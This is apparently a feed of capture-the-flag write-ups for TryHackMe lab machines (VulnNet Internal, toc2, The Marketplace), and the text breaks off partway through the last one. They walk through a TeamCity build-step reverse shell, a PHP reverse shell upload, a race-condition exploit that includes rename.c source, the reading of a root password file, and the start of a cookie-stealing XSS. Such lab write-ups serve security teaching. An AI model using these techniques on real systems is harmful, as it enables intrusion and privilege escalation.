LISTEN      0            64                              0.0.0.0:nfs                             0.0.0.0:*          
LISTEN      0            128                             0.0.0.0:33735                           0.0.0.0:*          
LISTEN      0            5                               0.0.0.0:rsync                           0.0.0.0:*          
LISTEN      0            50                              0.0.0.0:netbios-ssn                     0.0.0.0:*          
LISTEN      0            128                             0.0.0.0:6379                            0.0.0.0:*          
LISTEN      0            128                             0.0.0.0:sunrpc                          0.0.0.0:*          
LISTEN      0            64                              0.0.0.0:34769                           0.0.0.0:*          
LISTEN      0            128                       127.0.0.53%lo:domain                          0.0.0.0:*          
LISTEN      0            128                             0.0.0.0:ssh                             0.0.0.0:*          
LISTEN      0            5                             127.0.0.1:ipp                             0.0.0.0:*          
LISTEN      0            128                             0.0.0.0:33145                           0.0.0.0:*          
LISTEN      0            50                   [::ffff:127.0.0.1]:57882                                 *:*          
LISTEN      0            50                                 [::]:microsoft-ds                       [::]:*          
LISTEN      0            64                                 [::]:nfs                                [::]:*          
LISTEN      0            50                                    *:9090                                  *:*          
LISTEN      0            1                    [::ffff:127.0.0.1]:8105                                  *:*          
LISTEN      0            5                                  [::]:rsync                              [::]:*          
LISTEN      0            128                               [::1]:6379                               [::]:*          
LISTEN      0            50                                 [::]:netbios-ssn                        [::]:*          
LISTEN      0            100                  [::ffff:127.0.0.1]:8111                                  *:*  &lt;------------ TeamCity running on localhost on port 8111        
LISTEN      0            128                                [::]:sunrpc                             [::]:*          
LISTEN      0            64                                 [::]:33363                              [::]:*          
LISTEN      0            128                                [::]:40659                              [::]:*          
LISTEN      0            128                                [::]:ssh                                [::]:*          
LISTEN      0            50                                    *:35095                                 *:*          
LISTEN      0            128                                [::]:38359                              [::]:*          
LISTEN      0            5                                 [::1]:ipp                                [::]:*          
LISTEN      0            128                                [::]:46425                              [::]:*    </pre>
<p>Let’s use SSH port forwarding to connect to this port:
</p>
<pre>$ ssh -L 8111:127.0.0.1:8111 sys-internal@10.10.190.83</pre>
<div class="mw-heading mw-heading2"><h2 id="TeamCity">TeamCity</h2></div>
<p>Now when we connect to <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://localhost:8111">http://localhost:8111</a>, we can see the TeamCity login page:
</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-VulnNet-Internal-TeamCity-login.png" class="mw-file-description"><img src="/w/images/c/c7/TryHackMe-VulnNet-Internal-TeamCity-login.png" decoding="async" width="534" height="608" class="mw-file-element"></a></span>
</p><p>There is a link to connect as super user:
</p>
<pre>No System Administrator found. 
Log in as a Super user to create an administrator account. </pre>
<p>It requires a token. Searching for the <code>token</code> string in the logs directory reveals several tokens:
</p>
<pre>sys-internal@vulnnet-internal:/TeamCity$ grep -iR token /TeamCity/logs/ 2&gt;/dev/null
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 3782562599667957776 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 4174796436262174108 (use empty username with the token as the password to access the server)
/TeamCity/logs/catalina.out:[TeamCity] Super user authentication token: 4174796436262174108 (use empty username with the token as the password to access the server)</pre>
<p>Using the last token, we can connect as super admin.
</p>
<div class="mw-heading mw-heading2"><h2 id="Running_commands_on_TeamCity">Running commands on TeamCity</h2></div>
<p>TeamCity is run by <code>root</code> on the target, which means that executing a reverse shell will grant us root access. After googling how to run commands on TeamCity, I found that it can be done via build steps in a project.
</p><p>Create a project and go to build steps. Select “Command line” as “Runner type”, and put a python3 reverse shell string as the script command:
</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-VulnNet-Internal-reverse-shell.png" class="mw-file-description"><img src="/w/images/b/b4/TryHackMe-VulnNet-Internal-reverse-shell.png" decoding="async" width="1723" height="801" class="mw-file-element"></a></span>
</p><p>Now, start a listener (<code>nc -nlvp 4444</code>) and click on the <code>run</code> button to run the command.
</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-VulnNet-Internal-reverse-shell-run.png" class="mw-file-description"><img src="/w/images/f/fe/TryHackMe-VulnNet-Internal-reverse-shell-run.png" decoding="async" width="1603" height="348" class="mw-file-element"></a></span>
</p><p>We now have a root shell:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ nc -nlvp 4444    
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.190.83] 48482
bash: cannot set terminal process group (481): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-internal:/TeamCity/buildAgent/work/2b35ac7e0452d98f# cat /root/root.txt
&lt;uildAgent/work/2b35ac7e0452d98f# cat /root/root.txt              
THM{e8996faea46df09dba5676dd271c60bd}</pre>
<p>Root flag: <code>THM{e8996faea46df09dba5676dd271c60bd}</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101057
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.023 seconds
Real time usage: 0.024 seconds
Preprocessor visited node count: 138/1000000
Revision size: 23006/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 0/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 18868/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7016:|#|:idhash:canonical and timestamp 20260416101057 and revision id 38758. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > toc2</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-toc2</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-toc2</comments>
            <pubDate>Wed, 26 May 2021 07:00:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-toc2</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-toc2.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>It’s a setup... Can you get the flags in time?
</p><p>I have a theory that the truth is never told during the nine-to-five hours. - Hunter S. Thompson
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#Find_and_retrieve_the_user.txt_flag"><span class="tocnumber">1</span> <span class="toctext">Find and retrieve the user.txt flag</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Services"><span class="tocnumber">1.1</span> <span class="toctext">Services</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#CMS_information"><span class="tocnumber">1.2</span> <span class="toctext">CMS information</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#CMS_Made_Simple_/_Reverse_Shell"><span class="tocnumber">1.3</span> <span class="toctext">CMS Made Simple / Reverse Shell</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#User_flag"><span class="tocnumber">1.4</span> <span class="toctext">User flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-6"><a href="#Escalate_your_privileges_and_acquire_root.txt"><span class="tocnumber">2</span> <span class="toctext">Escalate your privileges and acquire root.txt</span></a>
<ul>
<li class="toclevel-2 tocsection-7"><a href="#Lateral_move_(www-data_->_frank)"><span class="tocnumber">2.1</span> <span class="toctext">Lateral move (www-data -&gt; frank)</span></a></li>
<li class="toclevel-2 tocsection-8"><a href="#The_readcreds_binary"><span class="tocnumber">2.2</span> <span class="toctext">The readcreds binary</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#Race_condition"><span class="tocnumber">2.3</span> <span class="toctext">Race condition</span></a></li>
<li class="toclevel-2 tocsection-10"><a href="#Root_flag"><span class="tocnumber">2.4</span> <span class="toctext">Root flag</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="Find_and_retrieve_the_user.txt_flag">Find and retrieve the user.txt flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Services">Services</h2></div>
<p>Nmap reveals 2 open ports:
</p>
<pre>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 84:4e:b1:49:31:22:94:84:83:97:91:72:cb:23:33:36 (RSA)
|   256 cc:32:19:3f:f5:b9:a4:d5:ac:32:0f:6e:f0:83:35:71 (ECDSA)
|_  256 bd:d8:00:be:49:b5:15:af:bf:d5:85:f7:3a:ab:d6:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/cmsms/cmsms-2.1.6-install.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
<div class="mw-heading mw-heading2"><h2 id="CMS_information">CMS information</h2></div>
<p>Connecting to the web service’s default page reveals credentials: <code>cmsmsuser:devpass</code>:
</p>
<pre>┌──(kali㉿kali)-[/data/toc2]
└─$ curl -s http://10.10.215.10/                

&lt;!doctype html&gt;
&lt;title&gt;Site Maintenance&lt;/title&gt;
&lt;style&gt;
  body { text-align: center; padding: 150px; }
  h1 { font-size: 50px; }
  body { font: 20px Helvetica, sans-serif; color: #333; }
  article { display: block; text-align: left; width: 650px; margin: 0 auto; }
  a { color: #dc8100; text-decoration: none; }
  a:hover { color: #333; text-decoration: none; }
&lt;/style&gt;

&lt;article&gt;
    &lt;h1&gt;Under Construction!&lt;/h1&gt;
    &lt;div&gt;
        &lt;p&gt;Sorry for the inconvenience but management have once again asked for more than we can deliver. &lt;/p&gt;
        
        &lt;p&gt;The web server isn't going to be ready for the web dev team to build on for another few days. Just in case anyone around here except me wants to do anything: cmsmsuser:devpass &lt;/p&gt;
        &lt;p&gt;&amp;mdash; Hunter&lt;/p&gt;
    &lt;/div&gt;
&lt;/article&gt;</pre>
<p>Besides, there is also a <code>robots.txt</code> file that discloses the name of a database, as well as a CMS installation URL (CMS Made Simple):
</p>
<pre>┌──(kali㉿kali)-[/data/toc2]
└─$ curl -s http://10.10.215.10/robots.txt 
User-agent: *
Disallow: /cmsms/cmsms-2.1.6-install.php
 
Note to self:
Tommorow, finish setting up the CMS, and that database, cmsmsdb, so the site's ready by Wednesday.   </pre>
<p>Running Gobuster won’t reveal other locations. At this stage, here is the information collected so far:
</p>
<ul><li>URL: <code><a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://10.10.215.10/cmsms/cmsms-2.1.6-install.php">http://10.10.215.10/cmsms/cmsms-2.1.6-install.php</a></code></li>
<li>DB: <code>cmsmsdb</code></li>
<li>Username: <code>cmsmsuser</code></li>
<li>Password: <code>devpass</code></li></ul>
<div class="mw-heading mw-heading2"><h2 id="CMS_Made_Simple_/_Reverse_Shell"><span id="CMS_Made_Simple_.2F_Reverse_Shell"></span>CMS Made Simple / Reverse Shell</h2></div>
<p>Let’s proceed with the installation of CMS Made Simple, as we have the setup PHP file.
</p><p>Complete the installation and login to the admin panel. Then go to the file manager and upload a PHP reverse shell.
</p><p>Start a listener (<code>nc -nlvp 4444</code>) and browse <code>10.10.215.10/cmsms/uploads/shell.php</code>.
</p><p>We now have a reverse shell:
</p>
<pre>┌──(kali㉿kali)-[/data/toc2/files]
└─$ nc -nlvp 4444       
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.215.10] 34964
Linux toc 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 11:51:53 up 18 min,  0 users,  load average: 1.08, 1.71, 1.47
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
<div class="mw-heading mw-heading2"><h2 id="User_flag">User flag</h2></div>
<p>The user flag is located in frank’s home:
</p>
<pre>www-data@toc:/home/frank$ cat user.txt 
cat user.txt
thm{63616d70657276616e206c696665}</pre>
<div class="mw-heading mw-heading1"><h1 id="Escalate_your_privileges_and_acquire_root.txt">Escalate your privileges and acquire root.txt</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Lateral_move_(www-data_->_frank)"><span id="Lateral_move_.28www-data_-.3E_frank.29"></span>Lateral move (www-data -&gt; frank)</h2></div>
<p>There is a note left in frank’s home folder, disclosing frank’s password: <code>password</code>.
</p>
<pre>www-data@toc:/home/frank$ cat new_machine.txt
cat new_machine.txt
I'm gonna be switching computer after I get this web server setup done. The inventory team sent me a new Thinkpad, the password is "password". It's funny that the default password for all the work machines is something so simple...Hell I should probably change this one from it, ah well. I'm switching machines soon- it can wait. </pre>
<p>Let’s connect as <code>frank</code>:
</p>
<pre>www-data@toc:/home/frank/root_access$ su frank
su frank
Password: password

frank@toc:~/root_access$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)</pre>
<div class="mw-heading mw-heading2"><h2 id="The_readcreds_binary">The readcreds binary</h2></div>
<p>There is an interesting folder called <code>root_access</code> in frank’s home:
</p>
<pre>frank@toc:~/root_access$ ll
ll
total 28
drwxr-xr-x 2 frank frank 4096 Jan 31 17:29 ./
drwxr-xr-x 5 frank frank 4096 Aug 18  2020 ../
-rwsr-xr-x 1 root  root  8704 Jan 31 17:29 readcreds*
-rw-r--r-- 1 root  root   656 Jan 31 12:44 readcreds.c
-rw------- 1 root  root    34 Aug 23  2020 root_password_backup</pre>
<p>The sources of the <code>readcreds</code> binary are provided:
</p>
<div class="mw-highlight mw-highlight-lang-c mw-content-ltr" dir="ltr"><pre><span></span><span class="n">frank</span><span class="err">@</span><span class="n">toc</span><span class="o">:~/</span><span class="n">root_access$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="n">readcreds</span><span class="p">.</span><span class="n">c</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;string.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;unistd.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;sys/types.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;fcntl.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;errno.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdlib.h&gt;</span>

<span class="kt">int</span><span class="w"> </span><span class="n">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">argv</span><span class="p">[])</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kt">int</span><span class="w"> </span><span class="n">file_data</span><span class="p">;</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">buffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>

<span class="w">    </span><span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="n">printf</span><span class="p">(</span><span class="s">"Binary to output the contents of credentials file </span><span class="se">\n</span><span class="s"> ./readcreds [file] </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span><span class="w"> </span>
<span class="w">      </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">access</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">R_OK</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w">      </span><span class="n">file_data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="n">O_RDONLY</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="w"> </span><span class="s">"Cannot open %s </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="w">      </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="k">do</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read</span><span class="p">(</span><span class="n">file_data</span><span class="p">,</span><span class="w"> </span><span class="n">buffer</span><span class="p">,</span><span class="w"> </span><span class="mi">256</span><span class="p">);</span>
<span class="w">        </span><span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">buffer</span><span class="p">,</span><span class="w"> </span><span class="n">size</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span><span class="w"> </span>
<span class="w">    </span>
<span class="w">    </span><span class="k">while</span><span class="p">(</span><span class="n">size</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">);</span>

<span class="p">}</span>
</pre></div>
<div class="mw-heading mw-heading2"><h2 id="Race_condition">Race condition</h2></div>
<p>Providing the <code>root_password_backup</code> file to the <code>readcreds</code> binary will show an error, as the file is owned by <code>root</code>. However, we can run a race condition attack.
</p><p>Download <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://raw.githubusercontent.com/sroettger/35c3ctf_chals/master/logrotate/exploit/rename.c"><code>rename.c</code></a>. The source of the program is shown below:
</p>
<div class="mw-highlight mw-highlight-lang-c mw-content-ltr" dir="ltr"><pre><span></span><span class="cp">#define _GNU_SOURCE</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;fcntl.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;unistd.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;sys/syscall.h&gt;</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;linux/fs.h&gt;</span>

<span class="c1">// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">argv</span><span class="p">[])</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">syscall</span><span class="p">(</span><span class="n">SYS_renameat2</span><span class="p">,</span><span class="w"> </span><span class="n">AT_FDCWD</span><span class="p">,</span><span class="w"> </span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="n">AT_FDCWD</span><span class="p">,</span><span class="w"> </span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="w"> </span><span class="n">RENAME_EXCHANGE</span><span class="p">);</span>
<span class="w">  </span><span class="p">}</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>Compile the program (<code>gcc rename.c -o rename</code>), create a <code>pwd</code> file and run the <code>rename</code> binary as follows:
</p>
<pre>frank@toc:~/root_access$ touch pwd
frank@toc:~/root_access$ ./rename pwd root_password_backup</pre>
<p>Now in another session:
</p>
<pre>www-data@toc:/home/frank/root_access$ ./readcreds root_password_backup
./readcreds root_password_backup
Root Credentials:  root:aloevera </pre>
<div class="mw-heading mw-heading2"><h2 id="Root_flag">Root flag</h2></div>
<p>We can now log in as root and read the root flag:
</p>
<pre>www-data@toc:/home/frank/root_access$ su - root
su - root
Password: aloevera

root@toc:~# cat /root/root.txt
cat /root/root.txt
thm{7265616c6c696665}</pre>
<!-- 
NewPP limit report
Cached time: 20260416101058
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.042 seconds
Real time usage: 0.712 seconds
Preprocessor visited node count: 93/1000000
Revision size: 7340/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 2/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 11807/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7014:|#|:idhash:canonical and timestamp 20260416101058 and revision id 38747. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > The Marketplace</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-The-Marketplace</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-The-Marketplace</comments>
            <pubDate>Sun, 23 May 2021 09:05:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-The-Marketplace</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-The-Marketplace.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>Can you take over The Marketplace’s infrastructure?
</p><p>The sysadmin of The Marketplace, Michael, has given you access to an internal server of his, so you can pentest the marketplace platform he and his team has been working on. He said it still has a few bugs he and his team need to iron out.
</p><p>Can you take advantage of this and will you be able to gain root access on his server?
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#What_is_flag_1?"><span class="tocnumber">1</span> <span class="toctext">What is flag 1?</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Services"><span class="tocnumber">1.1</span> <span class="toctext">Services</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#Web_application"><span class="tocnumber">1.2</span> <span class="toctext">Web application</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#Token_cookie"><span class="tocnumber">1.3</span> <span class="toctext">Token cookie</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#XSS_vulnerability"><span class="tocnumber">1.4</span> <span class="toctext">XSS vulnerability</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#Stealing_the_admin_cookie"><span class="tocnumber">1.5</span> <span class="toctext">Stealing the admin cookie</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-7"><a href="#What_is_flag_2?_(User.txt)"><span class="tocnumber">2</span> <span class="toctext">What is flag 2? (User.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-8"><a href="#SQLi_vulnerability"><span class="tocnumber">2.1</span> <span class="toctext">SQLi vulnerability</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#Exploit_the_SQL_injection"><span class="tocnumber">2.2</span> <span class="toctext">Exploit the SQL injection</span></a>
<ul>
<li class="toclevel-3 tocsection-10"><a href="#Database_and_tables"><span class="tocnumber">2.2.1</span> <span class="toctext">Database and tables</span></a></li>
<li class="toclevel-3 tocsection-11"><a href="#Users_table"><span class="tocnumber">2.2.2</span> <span class="toctext">Users table</span></a></li>
<li class="toclevel-3 tocsection-12"><a href="#Messages_table"><span class="tocnumber">2.2.3</span> <span class="toctext">Messages table</span></a></li>
</ul>
</li>
<li class="toclevel-2 tocsection-13"><a href="#Connect_as_jake"><span class="tocnumber">2.3</span> <span class="toctext">Connect as jake</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-14"><a href="#What_is_flag_3?_(Root.txt)"><span class="tocnumber">3</span> <span class="toctext">What is flag 3? (Root.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-15"><a href="#Lateral_move_(jake_->_michael)"><span class="tocnumber">3.1</span> <span class="toctext">Lateral move (jake -&gt; michael)</span></a></li>
<li class="toclevel-2 tocsection-16"><a href="#docker"><span class="tocnumber">3.2</span> <span class="toctext">docker</span></a></li>
<li class="toclevel-2 tocsection-17"><a href="#Root_flag"><span class="tocnumber">3.3</span> <span class="toctext">Root flag</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="What_is_flag_1?"><span id="What_is_flag_1.3F"></span>What is flag 1?</h1></div>
<p><i>Hint: If you think a listing is breaking the rules, you can report it!</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="Services">Services</h2></div>
<p>An initial Nmap scan reveals that SSH is running on the host on port 22, as well as 2 web services, on port 80 and 32768:
</p>
<pre>PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
|   256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_  256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp    open  http    nginx 1.19.2
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
32768/tcp open  http    Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: The Marketplace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
<div class="mw-heading mw-heading2"><h2 id="Web_application">Web application</h2></div>
<p>After playing a bit with the web application, there are several things we can do:
</p>
<ul><li>sign up (<code>/signup</code>)</li>
<li>sign in (<code>/login</code>)</li>
<li>view listings (<code>/</code>)</li>
<li>view the details a a specific listing (<code>/item/1</code>)</li>
<li>create a new listing (<code>/new</code>)</li>
<li>view messages (<code>/messages</code>)</li>
<li>contact the listing author (<code>/contact/michael</code>)</li>
<li>report a listing to admins (<code>/report/1</code>)</li></ul>
<p>There is also a <code>robots.txt</code> file that reveals an <code>/admin</code> location, but we are not granted access. Running gobuster won’t reveal more resyntaxhighlights.
</p><p>Interestingly, reporting a listing will generate a first message (the acknowledgment), and then a second message, to simulate an admin action:
</p><p><span class="mw-default-size" typeof="mw:File"><a href="https://www.aldeid.com/wiki/File:TryHackMe-The-Marketplace-report.png" class="mw-file-description"><img src="/w/images/d/d3/TryHackMe-The-Marketplace-report.png" decoding="async" width="820" height="270" class="mw-file-element"></a></span>
</p>
<div class="mw-heading mw-heading2"><h2 id="Token_cookie">Token cookie</h2></div>
<p>Intercepting the requests in BurpSuite will reveal a <code>token</code> cookie:
</p>
<pre>GET /report/1 HTTP/1.1
Host: 10.10.4.48
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.4.48/item/1
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQsInVzZXJuYW1lIjoidGVzdCIsImFkbWluIjpmYWxzZSwiaWF0IjoxNjIxNzQ5ODU4fQ.fVUaxWnNiR2427T4FHTeu4ByeBh1pMN5H6nk7onseUY
Upgrade-Insecure-Requests: 1
If-None-Match: W/"314-3YWax+bH+BT3tKkMDiGm21ureFQ"
Cache-Control: max-age=0</pre>
<p>Using <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="https://jwt.io/">https://jwt.io/</a>, we can decode the token cookie:
</p>
<pre>Header:
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:
{
  "userId": 4,
  "username": "test",
  "admin": false,
  "iat": 1621749858
}</pre>
<p>I tried to forge a fake admin token, but it failed to grant me access to the admin interface.
</p>
<div class="mw-heading mw-heading2"><h2 id="XSS_vulnerability">XSS vulnerability</h2></div>
<p>The listing creation form is vulnerable to XSS:
